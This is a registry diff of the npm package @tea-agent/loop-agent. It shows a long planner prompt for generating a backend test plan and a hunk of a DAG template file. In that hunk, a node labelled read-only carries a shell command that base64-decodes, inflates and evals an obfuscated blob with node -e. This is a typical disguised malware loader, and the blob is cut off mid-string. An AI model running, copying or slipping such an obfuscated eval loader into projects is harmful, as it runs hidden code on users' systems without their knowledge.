@tea-agent/loop-agent 0.42.0-next.4 → 0.42.0-next.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +5 -0
- package/dist/build-stamp.json +3 -3
- package/dist/worker/console/chat/pi-runtime.js +26 -0
- package/dist/worker/console/chat/routes.js +60 -5
- package/dist/worker/console/chat/sdd-data-alignment.js +219 -0
- package/dist/worker/console/chat/session-catalog.js +2 -0
- package/dist/worker/console/chat/session-store.js +26 -0
- package/dist/worker/console/chat/shortcuts.js +18 -2
- package/dist/worker/console/server.js +1 -0
- package/dist/worker/console/static/assets/{abnfDiagram-N423BO3Z-CeznJ4Iw.js → abnfDiagram-N423BO3Z-BJpsGgAv.js} +1 -1
- package/dist/worker/console/static/assets/{arc-B4u9u7SX.js → arc-DjMFPsEd.js} +1 -1
- package/dist/worker/console/static/assets/{architectureDiagram-T3A2C74G-oghpT81p.js → architectureDiagram-T3A2C74G-DqdZlr1O.js} +1 -1
- package/dist/worker/console/static/assets/{blockDiagram-VBNYF7ZC-BPJ5Kvcj.js → blockDiagram-VBNYF7ZC-BmZnfFEO.js} +1 -1
- package/dist/worker/console/static/assets/{c4Diagram-5PPSVZJV-CoIu69pd.js → c4Diagram-5PPSVZJV-3cKberpL.js} +1 -1
- package/dist/worker/console/static/assets/channel-DWYwciiv.js +1 -0
- package/dist/worker/console/static/assets/{chunk-2GRJ4B5K-DtgiAsSc.js → chunk-2GRJ4B5K-q-0yjQ1h.js} +1 -1
- package/dist/worker/console/static/assets/{chunk-2Q5K7J3B-YSu_EVSD.js → chunk-2Q5K7J3B-DnONBaDW.js} +1 -1
- package/dist/worker/console/static/assets/{chunk-5RXB4S5H-DaRO-NB6.js → chunk-5RXB4S5H-v3a6PCOS.js} +1 -1
- package/dist/worker/console/static/assets/{chunk-5VM5RSS4-Dh0ZKiGA.js → chunk-5VM5RSS4-D1kLrlU_.js} +1 -1
- package/dist/worker/console/static/assets/{chunk-6Q2QTUOP-DOrvbR-H.js → chunk-6Q2QTUOP-BPelzihi.js} +1 -1
- package/dist/worker/console/static/assets/{chunk-GF5L2VYU-C3b22LN2.js → chunk-GF5L2VYU-DauNE69H.js} +1 -1
- package/dist/worker/console/static/assets/{chunk-JWPE2WC7-CXlqO8l6.js → chunk-JWPE2WC7-RIg5_bFJ.js} +1 -1
- package/dist/worker/console/static/assets/{chunk-KBJHAD2P-BblTBrDu.js → chunk-KBJHAD2P-BuILuoxs.js} +1 -1
- package/dist/worker/console/static/assets/{chunk-RYQCIY6F-DswqPALe.js → chunk-RYQCIY6F-VHORV5oW.js} +1 -1
- package/dist/worker/console/static/assets/{chunk-XXDRQBXY-CfTwVOlc.js → chunk-XXDRQBXY-BJYr4xHC.js} +1 -1
- package/dist/worker/console/static/assets/classDiagram-JCYQIIEL-D6jOf_l4.js +1 -0
- package/dist/worker/console/static/assets/classDiagram-v2-OCEON4UE-D6jOf_l4.js +1 -0
- package/dist/worker/console/static/assets/{cose-bilkent-JH36ORCC-bLD8jVFo.js → cose-bilkent-JH36ORCC-BS6nuqQn.js} +1 -1
- package/dist/worker/console/static/assets/{cynefin-VYW2F7L2-BvoG1fh5.js → cynefin-VYW2F7L2-BBhF0NAT.js} +1 -1
- package/dist/worker/console/static/assets/{cynefinDiagram-MW4NZA55-DEPAdJu3.js → cynefinDiagram-MW4NZA55-D1135Ifg.js} +1 -1
- package/dist/worker/console/static/assets/{dagre-VZM6K2ZE-DmrNvBLy.js → dagre-VZM6K2ZE-vAOYPUWJ.js} +1 -1
- package/dist/worker/console/static/assets/{diagram-7IWD3JNH-CdwzIwvs.js → diagram-7IWD3JNH-DuaSPkfa.js} +1 -1
- package/dist/worker/console/static/assets/{diagram-B4RE2ZJO-CJ3hj-md.js → diagram-B4RE2ZJO-mMvXvGU6.js} +1 -1
- package/dist/worker/console/static/assets/{diagram-LBJQPF4R-C6YJT2a4.js → diagram-LBJQPF4R-CDIEJtlL.js} +1 -1
- package/dist/worker/console/static/assets/{diagram-Q27KOJAE-C_LPfjhX.js → diagram-Q27KOJAE-Bi_6JvCW.js} +1 -1
- package/dist/worker/console/static/assets/{diagram-UB23O5K3-xvsSb5Ie.js → diagram-UB23O5K3-DAqj57yN.js} +1 -1
- package/dist/worker/console/static/assets/{ebnfDiagram-BXEA7PRR-Rxp2tKcD.js → ebnfDiagram-BXEA7PRR-DfWaxNEo.js} +1 -1
- package/dist/worker/console/static/assets/{erDiagram-JOGREHBK-DRyLYmZh.js → erDiagram-JOGREHBK-Bt7QqkNG.js} +1 -1
- package/dist/worker/console/static/assets/{flowDiagram-UKHOOZJN-TLSU_D2B.js → flowDiagram-UKHOOZJN-CRRhQwT2.js} +1 -1
- package/dist/worker/console/static/assets/{ganttDiagram-PKOTCBZU-DGqeTvHC.js → ganttDiagram-PKOTCBZU-DAV1O5B6.js} +1 -1
- package/dist/worker/console/static/assets/{gitGraphDiagram-DS77QQ5N-BZxyH2wh.js → gitGraphDiagram-DS77QQ5N-0X2Qo4Lp.js} +1 -1
- package/dist/worker/console/static/assets/index-CVdddQsA.js +451 -0
- package/dist/worker/console/static/assets/index-DDQc5a50.css +1 -0
- package/dist/worker/console/static/assets/{infoDiagram-6WML65LV-BsYtzx01.js → infoDiagram-6WML65LV-C5W5eILC.js} +1 -1
- package/dist/worker/console/static/assets/{ishikawaDiagram-WSZJBQD7-Qr-ezGv-.js → ishikawaDiagram-WSZJBQD7-5SfqU-Tb.js} +1 -1
- package/dist/worker/console/static/assets/{journeyDiagram-NVQOT4AX-DYbB3ibo.js → journeyDiagram-NVQOT4AX-CKDRcaKf.js} +1 -1
- package/dist/worker/console/static/assets/{kanban-definition-27J2QSJJ-BHJHewZO.js → kanban-definition-27J2QSJJ-Cc7_TuSb.js} +1 -1
- package/dist/worker/console/static/assets/{linear-CmPIPmCG.js → linear-BcQYYmeT.js} +1 -1
- package/dist/worker/console/static/assets/{mermaid.core-F--C1uV0.js → mermaid.core-CwLZPtQo.js} +5 -5
- package/dist/worker/console/static/assets/{mindmap-definition-FAOFIHXS-YTXfL1st.js → mindmap-definition-FAOFIHXS-D29M025z.js} +1 -1
- package/dist/worker/console/static/assets/{pegDiagram-VL7TDLO6-DdDMYXP9.js → pegDiagram-VL7TDLO6-CV-ZAWYe.js} +1 -1
- package/dist/worker/console/static/assets/{pieDiagram-7S7Q4E2Y-C3nH4KVd.js → pieDiagram-7S7Q4E2Y-C6iPS_o5.js} +1 -1
- package/dist/worker/console/static/assets/{quadrantDiagram-CIZ2JOQS-kXyxjG7Y.js → quadrantDiagram-CIZ2JOQS-BFCD1sTg.js} +1 -1
- package/dist/worker/console/static/assets/{railroadDiagram-AXF67PYL-KNzbl-7w.js → railroadDiagram-AXF67PYL-CztNj4O9.js} +1 -1
- package/dist/worker/console/static/assets/{requirementDiagram-LRYGKXZP-CSwI6dG0.js → requirementDiagram-LRYGKXZP-BWIELSNd.js} +1 -1
- package/dist/worker/console/static/assets/{sankeyDiagram-W5VNT64P-Bl1AyuXy.js → sankeyDiagram-W5VNT64P-CPtxrjJQ.js} +1 -1
- package/dist/worker/console/static/assets/{sequenceDiagram-SI44F4Z6-2y4EmXQa.js → sequenceDiagram-SI44F4Z6-BEWVSFsu.js} +1 -1
- package/dist/worker/console/static/assets/{sizeCapture-X5ZJPWSS-E8v8YrMg.js → sizeCapture-X5ZJPWSS-DyhzoX_J.js} +1 -1
- package/dist/worker/console/static/assets/{stateDiagram-OKZ733FA-eGGlR856.js → stateDiagram-OKZ733FA-xLox0nu7.js} +1 -1
- package/dist/worker/console/static/assets/stateDiagram-v2-UEYNNEHI-DS5ZRvJG.js +1 -0
- package/dist/worker/console/static/assets/{swimlanes-SLNWSIFB-B7g7xc07.js → swimlanes-SLNWSIFB-CLC_ow9A.js} +2 -2
- package/dist/worker/console/static/assets/swimlanesDiagram-ULZ7WXOC-Dvpxn-bf.js +8 -0
- package/dist/worker/console/static/assets/{timeline-definition-Z64GVDOM-DR3VCHBG.js → timeline-definition-Z64GVDOM-DmJZ4uyY.js} +1 -1
- package/dist/worker/console/static/assets/{vennDiagram-T6HMQDX7-LUvapZIy.js → vennDiagram-T6HMQDX7-DD7GGi9Z.js} +1 -1
- package/dist/worker/console/static/assets/{wardleyDiagram-T6FBY63Y-C7GDcaXq.js → wardleyDiagram-T6FBY63Y-Bi8PQoGt.js} +1 -1
- package/dist/worker/console/static/assets/{xychartDiagram-ELKLHX3M-CbNAqoGK.js → xychartDiagram-ELKLHX3M-uKdAY8Dp.js} +1 -1
- package/dist/worker/console/static/index.html +2 -2
- package/dist/worker/console/static-src/operator-chat/useChatSessions.js +225 -21
- package/dist/worker/console/static-src/operator-chat/useComposer.js +5 -1
- package/dist/worker/console/workspace-context.js +4 -0
- package/dist/workflows/dag/init-hybrid.js +22 -15
- package/docs/templates/backend-test-dag.json +3 -3
- package/package.json +1 -1
- package/dist/worker/console/static/assets/channel-DmIXqJ6B.js +0 -1
- package/dist/worker/console/static/assets/classDiagram-JCYQIIEL-MFV5Qxb5.js +0 -1
- package/dist/worker/console/static/assets/classDiagram-v2-OCEON4UE-MFV5Qxb5.js +0 -1
- package/dist/worker/console/static/assets/index-C8V8K9b4.js +0 -451
- package/dist/worker/console/static/assets/index-Cnf_KxTQ.css +0 -1
- package/dist/worker/console/static/assets/stateDiagram-v2-UEYNNEHI-B8e4J3at.js +0 -1
- package/dist/worker/console/static/assets/swimlanesDiagram-ULZ7WXOC-Do88I1Nb.js +0 -8
|
@@ -148,7 +148,7 @@
|
|
|
148
148
|
"validate-backend-test-environment-shell"
|
|
149
149
|
],
|
|
150
150
|
"complexity": "MED",
|
|
151
|
-
"subtask_prompt": "This is a required plan-generation node. Read only the strict read set and return the complete Markdown plan in the assistant response. The runtime persists the response as a run-owned Harness artifact named generate-backend-md-plan-pi/plan.md. Do not write testcase/md/README.md or any project file; module case cards are written by downstream sharded nodes.\n\nOutput budget protocol (hard, max output <=16K per turn): Never paste full Matrix, case bodies, or source text into assistant chat. README holds only Scope+Matrix+module index; never inline full case bodies. If a Completeness Gate / OUTPUT_LIMIT_RECOVERY retry is injected, continue only listed target paths.\n\nReturn the complete plan as plain Markdown. Do not emit JSON or code fences. The plan must contain the exact ## Coverage Scope, ## Coverage Matrix and ## Module Index sections required by the downstream manifest.\n\nRead the upstream environment report only through the strict read set. Generate the Markdown-first backend test plan; it will be persisted under the current DAG run's Harness artifacts, not under testcase/md/.\n\nWrite human-readable content in Simplified Chinese by default. Keep English only for machine-readable IDs and technical literals such as Case/AC/REQ/BR IDs, HTTP methods, paths, field names, enum values, commands, filenames, code symbols and exact source citations.\n\nCreate the concise plan entry page: test objective, target/environment, isolation/cleanup, module summary and a linked case index table with Case ID, Chinese case name, scenario type, endpoint and expected status/result. Avoid repeating every case body in the plan artifact.\n\nBefore the Coverage Matrix, write a mandatory machine-readable `## Coverage Scope` section in the plan artifact using exactly `| Field | Value |`, immediately followed by the separator row `|---|---|`, and these six unique rows: `Change Classification`, `Coverage Policy`, `Affected Operations`, `Affected Rule Keys`, `Regression Floor`, `Scope Evidence`. Always set `Change Classification` to `new-operation` and `Coverage Policy` to `full-contract`; do NOT reason about whether operations are new or existing. Cover all in-scope rules from the requirement document at full depth; treat the product requirement as the coverage baseline and use API contract evidence (fields/status/enum/boundary/format) to supplement scenario dimensions. Scope is limited to operations/rules the requirement document (or its referenced API contract) explicitly describes; do not expand to unrelated operations that the requirement does not mention. List affected operations exactly as `METHOD /path`, stable rule keys separated by semicolons, and precise source pointers as Scope Evidence.\n\nCoverage depth is full over the in-scope rules: fully cover every documented status, request/response field rule, requiredness, enum, boundary, format, auth and business state of each affected operation the requirement describes, but do not re-test unrelated operations the requirement does not mention. Inspect shared validator/helper/DTO/query builder evidence and expand Affected Operations when the same affected path can affect them; unresolved impact stays visible as GAP/CONFLICT.\n\nBefore writing cases, build the mandatory machine-readable Coverage Matrix inside the plan artifact itself. Its section heading line must be exactly `## Coverage Matrix` with no numeric prefix/suffix; never place the canonical Matrix only in a module file. Use this exact header: `| Rule Key | Priority | Source | Endpoint/Field | Dimension | Rule | Required Test Points | Case IDs | Status |`. Every data row must contain exactly 9 pipe-delimited cells and must never omit `Dimension`; use concise dimensions such as requirement, operation, response-status, requiredness, enum, boundary, format, business-state or error. Use only P0/P1/P2 and COVERED/PARTIAL/GAP/CONFLICT. Use stable `TP-<UPPERCASE-HYPHENATED-ID>` test points separated by semicolons.\n\nEach Rule Key must appear in exactly one Matrix row. Preserve each AC/REQ/BR Rule Key as one row; if one product rule spans multiple dimensions, use a concise composite Dimension in that single row instead of duplicating the key. Derive OpenAPI Rule Keys exactly as the deterministic analyzer does: operation token is `<HTTP-METHOD>-<PATH>` with braces removed and every non-alphanumeric run replaced by a hyphen, uppercase (for example POST `/api/resource-notes` → `POST-API-RESOURCE-NOTES`); response statuses use `API-<OPERATION>-RESPONSE-STATUS`; body/parameter fields use `API-<OPERATION>-<FIELD>-REQUIRED|ENUM|MIN-LENGTH|MAX-LENGTH|MINIMUM|MAXIMUM|PATTERN|FORMAT`. Do not invent aliases such as API-CREATE-FIELDS when a deterministic key applies.\n\nCoverage priority is strict inside the declared scope: P0 product requirements/task hard constraints always remain in scope; P1 exhaustively supplements documented operations, fields, business rules, statuses and errors only for Affected Operations; P2 adds bounded protocol robustness only when it is relevant to the change and does not invent product behavior. Coverage percentages describe the declared affected scope, never whole-API completeness unless every operation is explicitly listed. Conflicts or undefined expectations must stay visible as GAP/CONFLICT with precise source pointers, never guessed.\n\nFor uniqueness/lifecycle rules cover absent, active-existing, deleted-existing, create-delete-recreate, restore-then-recreate and documented scope/case-normalization states. For every enum cover every valid value plus bounded invalid equivalence classes (unknown, case variant, whitespace, empty, null/missing and wrong types as applicable). For every length/number rule cover min-1, min, nominal, max and max+1. For format rules cover each allowed class separately plus a valid mixed value, and representative forbidden classes including uppercase, internal/leading/trailing whitespace, tab/newline, unsupported punctuation, slash, emoji or control characters when the source contract supports that expectation.\n\nMandatory module layout contract: first inspect the PRIMARY requirement for an explicit list of required Markdown/Python output path pairs. When explicit paths are present, they are authoritative `explicit-user-layout`: reproduce their exact filenames, count and one-to-one pairs in Module Index; do not rename, merge, split, omit or add a module from reference/example scripts. Only when the primary requirement has no explicit file layout may you derive the smallest `business-resource-layout`. Existing examples, historical regression functions and shared setup may add evidence/assertions to an existing required module, but never create an extra physical module by themselves. A reference-only `resp_regression`, positive/negative/boundary/error/response module is forbidden.\n\nInclude exactly one `## Module Index` table with this exact header: `| Module Stem | Business Resource | Owned Operations | Owned Rule Keys | Case IDs | Split Reason | Markdown Path | Pytest Path |`. Use canonical relative links `[label](./<stem>.md)` inside the Markdown Path cell followed by the resolved `${layout.markdownDir}/<stem>.md` path. Split Reason is exactly one of `explicit-user-layout`, `primary-business-resource`, `independent-business-resource`, or `output-budget`. Group by stable business resource/domain, not by CRUD operation, AC, parameter/field axis, scenario type or regression purpose: one resource's list/detail/create/update/delete and its filters/response assertions/regression floor belong in one module. Multiple modules owning the same exact `METHOD /path` are forbidden unless every such row is `explicit-user-layout` from primary-requirement path pairs or has a documented `output-budget` proof. Keep the total module count at the smallest safe value and never exceed 8 modules. Name model-derived modules with stable lowercase business stems such as `health` or `resource_notes`; explicit-user-layout preserves the primary requirement filename stem even when it is more specific. Do not use priority-only stems `p0`, `p1` or `p2`; Priority belongs only in the Coverage Matrix. Pure hexadecimal/hash-like opaque stems and test-purpose-only stems are forbidden. Do not use Case-ID-like module filenames. The relative link target, Markdown Path, Pytest Path and downstream automation mapping must be one-to-one and exact; for model-derived modules the default pair remains `testcase/md/<module>.md` and `testcase/test_<module>.py`, while explicit-user-layout preserves the primary requirement paths. Do not hand-write a conflicting module count in prose; the Module Index row count is the only count truth.\n\nScenario Partitions (query/filter axes): for every affected GET/list operation, declare one row per enum or classification axis used for filtering (query/path parameters such as type/status/category). Add a mandatory machine-readable `## Scenario Partitions` section after the Coverage Matrix using exactly `| Partition ID | Operation | Axis | Domain | Required Slots | Expected by Slot | Bind Rule |` with the separator row. Partition ID is a stable `SP-<OPERATION>-<AXIS>` token; Domain must copy the legal values verbatim from the bound OpenAPI enum or requirement sentence (never guess), using bare semicolon-separated identifier values inside the single table cell (for example `ACTIVE; ARCHIVED`, with no Markdown backticks or prose); Required Slots must contain `each-value` and exactly one `not-in-set`, plus `omitted` only when the parameter is optional. Before returning, expand every declared partition into its complete deterministic exact slot ID set: one `TP-<Partition ID>-<VALUE-TOKEN>` per Domain value, `TP-<Partition ID>-OMITTED` only for an optional axis, and exactly one `TP-<Partition ID>-NOT-IN-SET`. Every expanded slot ID must appear verbatim in the binding Rule's `Required Test Points` cell and be assigned to concrete Case IDs in that same Coverage Matrix row; ordinary alias/family Test Points do not replace this inventory. Expected by Slot states the documented expectation per slot kind (`domain-value`, `default-behavior`, `empty-result`/`excluded-result` when documented, or `GAP` when the source does not document the complement expectation — never invent 空列表/400). POST/PUT body field-validation enums stay in the Coverage Matrix as `TP-<FIELD>-ENUM-*` and MUST NOT get a Scenario Partition row. Do not create partitions for axes without a documented legal-value domain. Only GET/list query or path parameters whose bound source documents a finite enum or classification set may become a Scenario Partition. Do not create partitions for free-form strings, primary keys, required-or-optional-only parameters, or boundary/format-only axes. If an axis has no finite legal-value domain, do not declare a Partition row and do not invent NOT-IN-SET cases. Cross-axis combinations stay as ONE nominal Case; never declare a cross-axis cartesian partition.\n\nBefore finalizing README, calculate the predicted collected-item count as `sum(max(1, number of variant Test Points in each Case))`. If the task declares an item budget, the prediction must not exceed it. Reduce excess only by removing duplicate execution and converting same-request checkpoints to assertions; never drop required rules, boundaries, enums, operation-specific inputs, or business states. Record the prediction in README. Use only environment-supported fixtures/targets/isolation, record evidence gaps in Chinese, and do not emit JSON, pytest, or execute commands.\n\n## Derived task contract: 需求.md\n\n# Backend test\n- AC-001 proof\n\n## Authoritative reference index\n\n[]\n\nFor each index entry, use `readPath` for Pi read-tool calls and copy `path` exactly into Markdown Source References. Bound files under .harness/tasks/<taskId>/source/** are read-only inputs: reading them is allowed even though writing .harness/** is forbidden. Never resolve `path` relative to the repository root, search for substitutes, or fall back to docs/** when a bound read fails.\n\nRead only precise indexed references needed for AC/API/field/rule evidence; references remain authoritative over derived text.",
|
|
151
|
+
"subtask_prompt": "This is a required plan-generation node. Read only the strict read set and return the complete Markdown plan in the assistant response. The runtime persists the response as a run-owned Harness artifact named generate-backend-md-plan-pi/plan.md. Do not write testcase/md/README.md or any project file; module case cards are written by downstream sharded nodes.\n\nOutput budget protocol (hard, max output <=16K per turn): Never paste full Matrix, case bodies, or source text into assistant chat. README holds only Scope+Matrix+module index; never inline full case bodies. If a Completeness Gate / OUTPUT_LIMIT_RECOVERY retry is injected, continue only listed target paths.\n\nReturn the complete plan as plain Markdown. Do not emit JSON or code fences. The plan must contain the exact ## Coverage Scope, ## Coverage Matrix and ## Module Index sections required by the downstream manifest.\n\nRead the upstream environment report only through the strict read set. Generate the Markdown-first backend test plan; it will be persisted under the current DAG run's Harness artifacts, not under testcase/md/.\n\nWrite human-readable content in Simplified Chinese by default. Keep English only for machine-readable IDs and technical literals such as Case/AC/REQ/BR IDs, HTTP methods, paths, field names, enum values, commands, filenames, code symbols and exact source citations.\n\nCreate the concise plan entry page: test objective, target/environment, isolation/cleanup, module summary and a linked case index table with Case ID, Chinese case name, scenario type, endpoint and expected status/result. Avoid repeating every case body in the plan artifact.\n\nBefore the Coverage Matrix, write a mandatory machine-readable `## Coverage Scope` section in the plan artifact using exactly `| Field | Value |`, immediately followed by the separator row `|---|---|`, and these six unique rows: `Change Classification`, `Coverage Policy`, `Affected Operations`, `Affected Rule Keys`, `Regression Floor`, `Scope Evidence`. Always set `Change Classification` to `new-operation` and `Coverage Policy` to `full-contract`; do NOT reason about whether operations are new or existing. Cover all in-scope rules from the requirement document at full depth; treat the product requirement as the coverage baseline and use API contract evidence (fields/status/enum/boundary/format) to supplement scenario dimensions. Scope is limited to operations/rules the requirement document (or its referenced API contract) explicitly describes; do not expand to unrelated operations that the requirement does not mention. List affected operations exactly as `METHOD /path`, stable rule keys separated by semicolons, and precise source pointers as Scope Evidence.\n\nCoverage depth is full over the in-scope rules: fully cover every documented status, request/response field rule, requiredness, enum, boundary, format, auth and business state of each affected operation the requirement describes, but do not re-test unrelated operations the requirement does not mention. Inspect shared validator/helper/DTO/query builder evidence and expand Affected Operations when the same affected path can affect them; unresolved impact stays visible as GAP/CONFLICT.\n\nBefore writing cases, build the mandatory machine-readable Coverage Matrix inside the plan artifact itself. Its section heading line must be exactly `## Coverage Matrix` with no numeric prefix/suffix; never place the canonical Matrix only in a module file. Use this exact header: `| Rule Key | Priority | Source | Endpoint/Field | Dimension | Rule | Required Test Points | Case IDs | Status |`. Every data row must contain exactly 9 pipe-delimited cells and must never omit `Dimension`; use concise dimensions such as requirement, operation, response-status, requiredness, enum, boundary, format, business-state or error. Use only P0/P1/P2 and COVERED/PARTIAL/GAP/CONFLICT. Use stable `TP-<UPPERCASE-HYPHENATED-ID>` test points separated by semicolons.\n\nEach Rule Key must appear in exactly one Matrix row. Preserve each AC/REQ/BR Rule Key as one row; if one product rule spans multiple dimensions, use a concise composite Dimension in that single row instead of duplicating the key. Derive OpenAPI Rule Keys exactly as the deterministic analyzer does: operation token is `<HTTP-METHOD>-<PATH>` with braces removed and every non-alphanumeric run replaced by a hyphen, uppercase (for example POST `/api/resource-notes` → `POST-API-RESOURCE-NOTES`); response statuses use `API-<OPERATION>-RESPONSE-STATUS`; body/parameter fields use `API-<OPERATION>-<FIELD>-REQUIRED|ENUM|MIN-LENGTH|MAX-LENGTH|MINIMUM|MAXIMUM|PATTERN|FORMAT`. Do not invent aliases such as API-CREATE-FIELDS when a deterministic key applies.\n\nCoverage priority is strict inside the declared scope: P0 product requirements/task hard constraints always remain in scope; P1 exhaustively supplements documented operations, fields, business rules, statuses and errors only for Affected Operations; P2 adds bounded protocol robustness only when it is relevant to the change and does not invent product behavior. Coverage percentages describe the declared affected scope, never whole-API completeness unless every operation is explicitly listed. Conflicts or undefined expectations must stay visible as GAP/CONFLICT with precise source pointers, never guessed.\n\nFor uniqueness/lifecycle rules cover absent, active-existing, deleted-existing, create-delete-recreate, restore-then-recreate and documented scope/case-normalization states. For every enum cover every valid value plus bounded invalid equivalence classes (unknown, case variant, whitespace, empty, null/missing and wrong types as applicable). For every length/number rule cover min-1, min, nominal, max and max+1. For format rules cover each allowed class separately plus a valid mixed value, and representative forbidden classes including uppercase, internal/leading/trailing whitespace, tab/newline, unsupported punctuation, slash, emoji or control characters when the source contract supports that expectation.\n\nMandatory module layout contract: first inspect the PRIMARY requirement for an explicit list of required Markdown/Python output path pairs. When explicit paths are present, they are authoritative `explicit-user-layout`: reproduce their exact filenames, count and one-to-one pairs in Module Index; do not rename, merge, split, omit or add a module from reference/example scripts. Only when the primary requirement has no explicit file layout may you derive the smallest `business-resource-layout`. Existing examples, historical regression functions and shared setup may add evidence/assertions to an existing required module, but never create an extra physical module by themselves. A reference-only `resp_regression`, positive/negative/boundary/error/response module is forbidden. The Module Stem cell must contain only the plain filename stem; never put Markdown link syntax or a path in that cell.\n\nInclude exactly one `## Module Index` table with this exact header: `| Module Stem | Business Resource | Owned Operations | Owned Rule Keys | Case IDs | Split Reason | Markdown Path | Pytest Path |`. Use canonical relative links `[label](./<stem>.md)` inside the Markdown Path cell followed by the resolved `${layout.markdownDir}/<stem>.md` path. Split Reason is exactly one of `explicit-user-layout`, `primary-business-resource`, `independent-business-resource`, or `output-budget`. Group by stable business resource/domain, not by CRUD operation, AC, parameter/field axis, scenario type or regression purpose: one resource's list/detail/create/update/delete and its filters/response assertions/regression floor belong in one module. Multiple modules owning the same exact `METHOD /path` are forbidden unless every such row is `explicit-user-layout` from primary-requirement path pairs or has a documented `output-budget` proof. Keep the total module count at the smallest safe value and never exceed 8 modules. Name model-derived modules with stable lowercase business stems such as `health` or `resource_notes`; explicit-user-layout preserves the primary requirement filename stem even when it is more specific. Do not use priority-only stems `p0`, `p1` or `p2`; Priority belongs only in the Coverage Matrix. Pure hexadecimal/hash-like opaque stems and test-purpose-only stems are forbidden. Do not use Case-ID-like module filenames. The relative link target, Markdown Path, Pytest Path and downstream automation mapping must be one-to-one and exact; for model-derived modules the default pair remains `testcase/md/<module>.md` and `testcase/test_<module>.py`, while explicit-user-layout preserves the primary requirement paths. Do not hand-write a conflicting module count in prose; the Module Index row count is the only count truth.\n\nScenario Partitions (query/filter axes): for every affected GET/list operation, declare one row per enum or classification axis used for filtering (query/path parameters such as type/status/category). Add a mandatory machine-readable `## Scenario Partitions` section after the Coverage Matrix using exactly `| Partition ID | Operation | Axis | Domain | Required Slots | Expected by Slot | Bind Rule |` with the separator row. Partition ID is a stable `SP-<OPERATION>-<AXIS>` token; Domain must copy the legal values verbatim from the bound OpenAPI enum or requirement sentence (never guess), using bare semicolon-separated identifier values inside the single table cell (for example `ACTIVE; ARCHIVED`, with no Markdown backticks or prose); Required Slots must contain `each-value` and exactly one `not-in-set`, plus `omitted` only when the parameter is optional. Before returning, expand every declared partition into its complete deterministic exact slot ID set: one `TP-<Partition ID>-<VALUE-TOKEN>` per Domain value, `TP-<Partition ID>-OMITTED` only for an optional axis, and exactly one `TP-<Partition ID>-NOT-IN-SET`. Every expanded slot ID must appear verbatim in the binding Rule's `Required Test Points` cell and be assigned to concrete Case IDs in that same Coverage Matrix row; ordinary alias/family Test Points do not replace this inventory. Expected by Slot states the documented expectation per slot kind (`domain-value`, `default-behavior`, `empty-result`/`excluded-result` when documented, or `GAP` when the source does not document the complement expectation — never invent 空列表/400). POST/PUT body field-validation enums stay in the Coverage Matrix as `TP-<FIELD>-ENUM-*` and MUST NOT get a Scenario Partition row. Do not create partitions for axes without a documented legal-value domain. Only GET/list query or path parameters whose bound source documents a finite enum or classification set may become a Scenario Partition. Do not create partitions for free-form strings, primary keys, required-or-optional-only parameters, or boundary/format-only axes. If an axis has no finite legal-value domain, do not declare a Partition row and do not invent NOT-IN-SET cases. Cross-axis combinations stay as ONE nominal Case; never declare a cross-axis cartesian partition.\n\nBefore finalizing README, calculate the predicted collected-item count as `sum(max(1, number of variant Test Points in each Case))`. If the task declares an item budget, the prediction must not exceed it. Reduce excess only by removing duplicate execution and converting same-request checkpoints to assertions; never drop required rules, boundaries, enums, operation-specific inputs, or business states. Record the prediction in README. Use only environment-supported fixtures/targets/isolation, record evidence gaps in Chinese, and do not emit JSON, pytest, or execute commands.\n\n## Derived task contract: 需求.md\n\n# Backend test\n- AC-001 proof\n\n## Authoritative reference index\n\n[]\n\nFor each index entry, use `readPath` for Pi read-tool calls and copy `path` exactly into Markdown Source References. Bound files under .harness/tasks/<taskId>/source/** are read-only inputs: reading them is allowed even though writing .harness/** is forbidden. Never resolve `path` relative to the repository root, search for substitutes, or fall back to docs/** when a bound read fails.\n\nRead only precise indexed references needed for AC/API/field/rule evidence; references remain authoritative over derived text.",
|
|
152
152
|
"executor": "pi",
|
|
153
153
|
"role": "planner",
|
|
154
154
|
"toolProfile": "read-only",
|
|
@@ -193,7 +193,7 @@
|
|
|
193
193
|
"writePolicy": "read-only",
|
|
194
194
|
"shell": {
|
|
195
195
|
"commands": [
|
|
196
|
-
"node -e \"eval(require('zlib').inflateRawSync(Buffer.from('
|
|
196
|
+
"node -e \"eval(require('zlib').inflateRawSync(Buffer.from('pVptc9s2Ev6eX0E3GYOsSMpOr7lWKu3JW1vfJXHGTtq5kxQPTEISziTIAKBlxfR/v1mAIEFKst3pF4kEFovdxe6DxYJxzoR05iLi5GtJOXHRXCDPL7Bctk3whjw/5utC5m2zfkee/y2ll20zvCFv/CRWrLPkDeXRd5IIGWNBhlnynekSMaeF7HS3fZLTWL7D67yUESvTdFvH+RI///FFp5uIOBLRkQg5KVIcE3c4mU6ms9s71/t+cPzlWTWdzoYLH02nz/ZbIfnN++QjqMzIyjkji7c3hUtE7CrhvQGaTofu5GXwXxx8Owh+vgiD2cCbTsMsQT5aWGxKBtoUPI+JECFh1+HvL88+vD0/v3jz8reLs88fLt6cnFUVQuMndO7uaXrv1gwQMiGchytOJXFRRoWgbOFsYeHMc+5c4viKsCQA2znvMb9K8hVzihQzB3NJ5ziWU4a8cSPODZXuc298V0sLlEppWN7wfzllrhbIRwvCCMeSBGaOLAmAPCgo8hE8ge6e1mKuWAspztcsdg1X7yG1HiH+yEEDw2+AdiiTEulwgpOMRHNYdpz8SlPSkcVHpZz/1K4Ty3kGXnIuOWULV3ihzN/lK8JfY0Fcz/KdL3rFZwPwmQtkdX25GFQXg2fQbjdfGEoz16WM9DThnOfZ6yXmr/OEuD+/8GyPLl7h+ErS+Epo7xVFSqV7KT29LqjlR9k1TmlyRrDIWcTxKjq6NXwiUMzleOWN6dwdfikmB8Hz2bNhCDZ2hfQ8TmTJmYMKTnNO5TrIWboOsjwpUxIISTKkR05wMJ/BDyh/+8J/8cPdNjZ5gb+WJFhisdxgImQURUivDGpGcCIIvybJBvmemvQbTKpibPb9tglr7QOxZhLf1MK6x6NLUsmiwnHFydfqknuTi2A2pJvjAWOClF6R7vx1twKSO2NpNZO2cMfoysBR1IEdfnNG0neUXUXD6WTyZTqbDaazqTsNtwFHmCVTb7gwY3EKIwlAMNiq9aUpnzKFVcz2sClv2rSX6MComS0JTihbiGgyG89z7kJ00OhgTH8x04QpYQu5HNPBwLulc9e0T+gslJxmLuiGnj513isLOScsITfIM4zDohRLl0Lk0bnbtGqme1F0uCPu+6RRFB0cGzAwq0HVXCOUlEVKYwCgToc3QGOn3mcccoNjma6dnNXPTk9mR5BY0pzdC4JCYi4jI9vkYDY4HIPNCEuivsVae6pR99